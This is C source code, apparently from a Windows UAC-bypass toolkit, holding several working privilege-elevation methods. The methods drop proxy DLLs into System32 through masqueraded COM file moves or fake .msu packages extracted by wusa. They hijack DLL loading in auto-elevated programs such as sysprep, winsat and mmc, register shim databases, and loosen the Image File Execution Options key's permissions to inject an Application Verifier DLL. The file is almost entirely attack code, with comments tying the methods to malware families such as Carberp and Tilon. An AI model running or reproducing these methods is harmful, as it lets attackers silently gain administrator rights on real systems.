/* * ucmRegisterAndRunTarget * * Purpose: * * Register shim database and execute target app. * */ BOOL ucmRegisterAndRunTarget( _In_ LPWSTR lpSystemDirectory, _In_ LPWSTR lpSdbinstPath, _In_ LPWSTR lpShimDbPath, _In_ LPWSTR lpTarget, _In_ BOOL IsPatch ) { BOOL bResult = FALSE; WCHAR szTempDirectory[MAX_PATH * 2]; WCHAR szCmd[MAX_PATH * 4]; if ((lpTarget == NULL) || (lpSystemDirectory == NULL) || (lpSdbinstPath == NULL) || (lpShimDbPath == NULL) ) { return bResult; } RtlSecureZeroMemory(szCmd, sizeof(szCmd)); if (IsPatch) { wsprintf(szCmd, L"-p %ws", lpShimDbPath); } else { _strcpy_w(szCmd, lpShimDbPath); } //register shim, sdbinst.exe if (supRunProcess(lpSdbinstPath, szCmd)) { RtlSecureZeroMemory(szTempDirectory, sizeof(szTempDirectory)); wsprintfW(szTempDirectory, lpTarget, lpSystemDirectory); bResult = supRunProcess(szTempDirectory, NULL); //remove database RtlSecureZeroMemory(szCmd, sizeof(szCmd)); wsprintf(szCmd, L"/q /u %ws", lpShimDbPath); supRunProcess(lpSdbinstPath, szCmd); DeleteFileW(lpShimDbPath); } return bResult; }
/* * ucmStandardAutoElevation2 * * Purpose: * * Bypass UAC by abusing appinfo g_lpAutoApproveEXEList * * UAC contain whitelist of trusted fusion processes with only names and no other special restrictions * Most of them unknown shit and list does not properly handled by system itself, use this fact. * */ BOOL ucmStandardAutoElevation2( CONST PVOID ProxyDll, DWORD ProxyDllSize ) { BOOL cond = FALSE, bResult = FALSE; WCHAR SourceFilePathAndName[MAX_PATH + 1]; WCHAR DestinationFilePathAndName[MAX_PATH + 1]; do { //source filename of dll RtlSecureZeroMemory(SourceFilePathAndName, sizeof(SourceFilePathAndName)); _strcpy(SourceFilePathAndName, g_ctx.szTempDirectory); _strcat(SourceFilePathAndName, UNBCL_DLL); if (!supWriteBufferToFile(SourceFilePathAndName, ProxyDll, ProxyDllSize)) { break; } //copy %temp\unbcl.dll -> system32\unbcl.dll if (!ucmMasqueradedMoveFileCOM(SourceFilePathAndName, g_ctx.szSystemDirectory)) { break; } //source filename of process RtlSecureZeroMemory(SourceFilePathAndName, sizeof(SourceFilePathAndName)); _strcpy(SourceFilePathAndName, g_ctx.szSystemDirectory); _strcat(SourceFilePathAndName, SYSPREP_DIR); _strcat(SourceFilePathAndName, SYSPREP_EXE); RtlSecureZeroMemory(DestinationFilePathAndName, sizeof(DestinationFilePathAndName)); _strcpy(DestinationFilePathAndName, g_ctx.szTempDirectory); _strcat(DestinationFilePathAndName, OOBE_EXE); //system32\sysprep\sysprep.exe -> temp\oobe.exe if (!CopyFile(SourceFilePathAndName, DestinationFilePathAndName, FALSE)) { break; } //temp\oobe.exe -> system32\oobe.exe if (!ucmMasqueradedMoveFileCOM(DestinationFilePathAndName, g_ctx.szSystemDirectory)) { break; } RtlSecureZeroMemory(DestinationFilePathAndName, sizeof(DestinationFilePathAndName)); _strcpy(DestinationFilePathAndName, g_ctx.szSystemDirectory); _strcat(DestinationFilePathAndName, OOBE_EXE); bResult = supRunProcess(DestinationFilePathAndName, NULL); } while (cond); return bResult; }
/* * ucmWusaExtractPackage * * Purpose: * * Extract cab to protected directory using wusa. * */ BOOL ucmWusaExtractPackage( LPWSTR lpCommandLine ) { BOOL bResult = FALSE; WCHAR szMsuFileName[MAX_PATH * 2]; WCHAR szCmd[MAX_PATH * 4]; RtlSecureZeroMemory(szMsuFileName, sizeof(szMsuFileName)); _strcpy(szMsuFileName, g_ctx.szTempDirectory); _strcat(szMsuFileName, ELLOCNAK_MSU); //extract msu data to target directory RtlSecureZeroMemory(szCmd, sizeof(szCmd)); wsprintfW(szCmd, lpCommandLine, szMsuFileName); bResult = supRunProcess(L"cmd.exe", szCmd); if (szMsuFileName[0] != 0) { DeleteFileW(szMsuFileName); } return bResult; }
/* * ucmAvrfMethod * * Purpose: * * Acquire elevation through Application Verifier dll injection. * */ BOOL ucmAvrfMethod( CONST PVOID AvrfDll, DWORD AvrfDllSize ) { BOOL bResult = FALSE, cond = FALSE; HKEY hKey = NULL, hSubKey = NULL; LRESULT lRet; DWORD dwValue = 0x100; // FLG_APPLICATION_VERIFIER; WCHAR szCmd[MAX_PATH * 4]; if ( (AvrfDll == NULL) || (AvrfDllSize == 0) ) { return bResult; } do { // // Set new key security dacl // Red Alert: manually restore IFEO key permissions after using this tool, as they are not inherited. // if (!ucmSimdaAlterKeySecurity(T_IFEO, T_SDDL_ALL_FOR_EVERYONE)) { OutputDebugString(TEXT("[UCM] Failed to alter key security")); break; } //open IFEO key lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"), 0, KEY_ALL_ACCESS, &hKey); if ((lRet != ERROR_SUCCESS) || (hKey == NULL)) { OutputDebugString(TEXT("[UCM] Failed to open IFEO key")); break; } //Set new key and values hSubKey = NULL; lRet = RegCreateKey(hKey, TEXT("cliconfg.exe"), &hSubKey); if ((hSubKey == NULL) || (lRet != ERROR_SUCCESS)) { OutputDebugString(TEXT("[UCM] Failed to create IFEO subkey")); break; } lRet = RegSetValueEx(hSubKey, TEXT("GlobalFlag"), 0, REG_DWORD, (BYTE*)&dwValue, sizeof(DWORD)); if (lRet != ERROR_SUCCESS) { OutputDebugString(TEXT("[UCM] Failed to set subkey value 1")); break; } dwValue = (DWORD)_strlen(T_AVRFDLL) * sizeof(TCHAR); lRet = RegSetValueEx(hSubKey, TEXT("VerifierDlls"), 0, REG_SZ, (BYTE*)&T_AVRFDLL, dwValue); if (lRet != ERROR_SUCCESS) { OutputDebugString(TEXT("[UCM] Failed to set subkey value 2")); break; } // Cleanup registry, we don't need anymore. RegCloseKey(hSubKey); hSubKey = NULL; RegCloseKey(hKey); hKey = NULL; // // Extract file to the protected directory // First, create cab with fake msu ext, second run fusion process. // if (!ucmCreateCabinetForSingleFile(T_AVRF_SOURCEDLL, AvrfDll, AvrfDllSize)) { break; } // Drop Hibiki to system32 if (!ucmWusaExtractPackage(T_AVRF_CMDLINE)) { OutputDebugString(TEXT("[UCM] Wusa failed copy Hibiki")); break; } // Finally run target fusion process. RtlSecureZeroMemory(szCmd, sizeof(szCmd)); if (ExpandEnvironmentStringsW(METHOD_SQLSRV_TARGETAPP, szCmd, MAX_PATH) == 0) { break; } bResult = supRunProcess(szCmd, NULL); } while (cond); if (hKey != NULL) { RegCloseKey(hKey); } if (hSubKey != NULL) { RegCloseKey(hSubKey); } return bResult; }
/* * ucmMMCMethod * * Purpose: * * Bypass UAC by abusing MMC.exe backdoor hardcoded in appinfo.dll * */ BOOL ucmMMCMethod( LPWSTR lpTargetDll, PVOID ProxyDll, DWORD ProxyDllSize ) { BOOL bResult = FALSE, cond = FALSE; WCHAR szSource[MAX_PATH + 1]; WCHAR szDest[MAX_PATH + 1]; WCHAR szBuffer[MAX_PATH + 1]; if ( (ProxyDll == NULL) || (ProxyDllSize == 0) || (lpTargetDll == NULL) ) { return bResult; } if (_strlen_w(lpTargetDll) > 100) { return bResult; } do { //put target dll RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); _strcpy_w(szBuffer, TEMPDIR); _strcat_w(szBuffer, lpTargetDll); //expand string for proxy dll RtlSecureZeroMemory(szSource, sizeof(szSource)); if (ExpandEnvironmentStrings(szBuffer, szSource, MAX_PATH) == 0) { break; } //write proxy dll to disk if (!supWriteBufferToFile(szSource, ProxyDll, ProxyDllSize)) { OutputDebugString(TEXT("[UCM] Failed to drop dll")); break; } else { OutputDebugStringW(TEXT("[UCM] Dll dropped successfully")); } //expand string for target dir RtlSecureZeroMemory(szDest, sizeof(szDest)); if (ExpandEnvironmentStringsW(SYSTEMROOTDIR, szDest, MAX_PATH) == 0) { break; } //drop fubuki to system32 bResult = ucmAutoElevateCopyFile(szSource, szDest); if (!bResult) { break; } //run mmc console //because of mmc harcoded backdoor uac will autoelevate mmc with valid and trusted MS command //event viewer will attempt to load not existing dll, so we will give him our little friend bResult = supRunProcess(L"mmc.exe", L"eventvwr.msc"); } while (cond); return bResult; }
/* * ucmWinSATMethod * * Purpose: * * Acquire elevation through abusing APPINFO.DLL whitelisting model logic and wusa installer/IFileOperation autoelevation. * Slightly modified target and proxydll can work almost with every autoelevated/whitelisted application. * This method uses advantage of wusa to write to the protected folders, but can be adapted to IFileOperation too. * WinSAT used for demonstration purposes only. * */ BOOL ucmWinSATMethod( LPWSTR lpTargetDll, PVOID ProxyDll, DWORD ProxyDllSize, BOOL UseWusa ) { BOOL bResult = FALSE, cond = FALSE; CABDATA *Cabinet = NULL; WCHAR szSource[MAX_PATH + 1]; WCHAR szDest[MAX_PATH + 1]; WCHAR szBuffer[MAX_PATH + 1]; if ( (ProxyDll == NULL) || (ProxyDllSize == 0) || (lpTargetDll == NULL) ) { return bResult; } if (_strlen_w(lpTargetDll) > 100) { return bResult; } RtlSecureZeroMemory(szSource, sizeof(szSource)); RtlSecureZeroMemory(szDest, sizeof(szDest)); do { if (ExpandEnvironmentStrings(L"%systemroot%\\system32\\winsat.exe", szSource, MAX_PATH) == 0) { break; } if (ExpandEnvironmentStrings(L"%temp%\\winsat.exe", szDest, MAX_PATH) == 0) { break; } // Copy winsat to temp directory if (!CopyFile(szSource, szDest, FALSE)) { break; } //put target dll RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); _strcpy_w(szBuffer, TEMPDIR); _strcat_w(szBuffer, lpTargetDll); //expand string for proxy dll RtlSecureZeroMemory(szSource, sizeof(szSource)); if (ExpandEnvironmentStrings(szBuffer, szSource, MAX_PATH) == 0) { break; } //write proxy dll to disk if (!supWriteBufferToFile(szSource, ProxyDll, ProxyDllSize)) { OutputDebugString(TEXT("[UCM] Failed to drop dll")); break; } else { OutputDebugStringW(TEXT("[UCM] Dll dropped successfully")); } // // Two options: use wusa installer or IFileOperation // if ( UseWusa ) { //build cabinet RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); if (ExpandEnvironmentStringsW(T_MSUPACKAGE_NAME, szBuffer, MAX_PATH) == 0) { break; } Cabinet = cabCreate(szBuffer); if (Cabinet) { //expand string for winsat.exe if (ExpandEnvironmentStrings(L"%temp%\\winsat.exe", szDest, MAX_PATH) == 0) { break; } //put proxy dll inside cabinet cabAddFile(Cabinet, szSource, lpTargetDll); //put winsat.exe cabAddFile(Cabinet, szDest, L"winsat.exe"); cabClose(Cabinet); Cabinet = NULL; } else { OutputDebugString(TEXT("[UCM] Error creating cab archive")); break; } //extract package ucmWusaExtractPackage(T_WINSAT_CMDLINE); RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); if (ExpandEnvironmentStrings(T_WINSAT_TARGET, szBuffer, MAX_PATH) == 0) { break; } bResult = supRunProcess(szBuffer, NULL); } else { //wusa extract banned, switch to IFileOperation. RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); if (ExpandEnvironmentStringsW(M1W7_TARGETDIR, szBuffer, MAX_PATH) == 0) { break; } bResult = ucmAutoElevateCopyFile(szSource, szBuffer); if (!bResult) { break; } bResult = ucmAutoElevateCopyFile(szDest, szBuffer); if (!bResult) { break; } Sleep(0); //run winsat RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); if (ExpandEnvironmentStrings(T_WINSAT_TARGET, szBuffer, MAX_PATH) == 0) { break; } bResult = supRunProcess(szBuffer, NULL); //cleanup of the above files must be done by payload code } } while (cond); if (Cabinet) { cabClose(Cabinet); } //remove trash from %temp% if (szDest[0] != 0) { DeleteFileW(szDest); } if (szSource[0] != 0) { DeleteFileW(szSource); } return bResult; }
/* * ucmStandardAutoElevation * * Purpose: * * Leo Davidson AutoElevation method with derivatives. * * UacMethodSysprep1 - Original Leo Davidson concept. * UacMethodSysprep2 - Windows 8.1 adapted UacMethodSysprep1 (bypassing sysprep embedded manifest dlls redirection). * UacMethodTilon - Leo Davidson concept with different target dll, used by Win32/Tilon. * UacMethodSysprep3 - Windows 10 TH1 adapted UacMethodSysprep1. * UacMethodOobe - WinNT/Pitou derivative from Leo Davidson concept. * */ BOOL ucmStandardAutoElevation( UACBYPASSMETHOD Method, CONST PVOID ProxyDll, DWORD ProxyDllSize ) { BOOL cond = FALSE, bResult = FALSE; WCHAR szSourceDll[MAX_PATH * 2]; WCHAR szTargetDir[MAX_PATH * 2]; WCHAR szTargetProcess[MAX_PATH * 2]; _strcpy(szSourceDll, g_ctx.szTempDirectory); _strcpy(szTargetDir, g_ctx.szSystemDirectory); _strcpy(szTargetProcess, g_ctx.szSystemDirectory); switch (Method) { case UacMethodSysprep1: //%temp%\cryptbase.dll _strcat(szSourceDll, CRYPTBASE_DLL); //%systemroot%\system32\sysprep _strcat(szTargetDir, SYSPREP_DIR); //%systemroot%\system32\sysprep\sysprep.exe _strcat(szTargetProcess, SYSPREP_DIR); _strcat(szTargetProcess, SYSPREP_EXE); break; case UacMethodSysprep2: //%temp\\shcore.dll _strcat(szSourceDll, SHCORE_DLL); //%systemroot%\system32\sysprep _strcat(szTargetDir, SYSPREP_DIR); //%systemroot%\system32\sysprep\sysprep.exe _strcat(szTargetProcess, SYSPREP_DIR); _strcat(szTargetProcess, SYSPREP_EXE); break; case UacMethodSysprep3: //%temp%\dbgcore.dll _strcat(szSourceDll, DBGCORE_DLL); //%systemroot%\system32\sysprep _strcat(szTargetDir, SYSPREP_DIR); //%systemroot%\system32\sysprep\sysprep.exe _strcat(szTargetProcess, SYSPREP_DIR); _strcat(szTargetProcess, SYSPREP_EXE); break; case UacMethodOobe: //%temp%\wdscore.dll _strcat(szSourceDll, WDSCORE_DLL); //%systemroot%\system32\oobe\" _strcat(szTargetDir, L"oobe\\"); //%systemroot%\system32\oobe\setupsqm.exe _strcat(szTargetProcess, SETUPSQM_EXE); break; case UacMethodTilon: //%temp%\ActionQueue.dll _strcat(szSourceDll, ACTIONQUEUE_DLL); //%systemroot%\system32\sysprep _strcat(szTargetDir, SYSPREP_DIR); //%systemroot%\system32\sysprep\sysprep.exe _strcat(szTargetProcess, SYSPREP_DIR); _strcat(szTargetProcess, SYSPREP_EXE); break; default: return FALSE; } do { if (!supWriteBufferToFile(szSourceDll, ProxyDll, ProxyDllSize)) break; if (!ucmMasqueradedMoveFileCOM(szSourceDll, szTargetDir)) break; bResult = supRunProcess(szTargetProcess, NULL); } while (cond); return bResult; }
/* * ucmWusaMethod * * Purpose: * * Build and install fake msu package then run target application. * */ BOOL ucmWusaMethod( UACBYPASSMETHOD Method, PVOID ProxyDll, DWORD ProxyDllSize ) { BOOL bResult = FALSE, cond = FALSE; LPWSTR lpCommandLine; WCHAR szSourceDll[MAX_PATH * 2]; WCHAR szTargetProcess[MAX_PATH * 2]; if ((ProxyDll == NULL) || (ProxyDllSize == 0)) { return FALSE; } _strcpy(szTargetProcess, g_ctx.szSystemDirectory); _strcpy(szSourceDll, g_ctx.szTempDirectory); switch (Method) { //use migwiz.exe as target case UacMethodCarberp1: _strcat(szSourceDll, WDSCORE_DLL); lpCommandLine = CMD_EXTRACT_MIGWIZ; _strcat(szTargetProcess, MIGWIZ_DIR); _strcat(szTargetProcess, MIGWIZ_EXE); break; //use cliconfg.exe as target case UacMethodCarberp2: _strcat(szSourceDll, NTWDBLIB_DLL); lpCommandLine = CMD_EXTRACT_SYSTEM32; _strcat(szTargetProcess, CLICONFG_EXE); break; default: return FALSE; } if (!PathFileExists(szTargetProcess)) { supDebugPrint(TEXT("ucmWusaMethod"), ERROR_FILE_NOT_FOUND); return FALSE; } do { // // Extract file to the protected directory // First, create cab with fake msu ext, second run fusion process. // if (!ucmCreateCabinetForSingleFile(szSourceDll, ProxyDll, ProxyDllSize)) { break; } if (!ucmWusaExtractPackage(lpCommandLine)) { break; } //run target process for dll hijacking bResult = supRunProcess(szTargetProcess, NULL); } while (cond); return bResult; }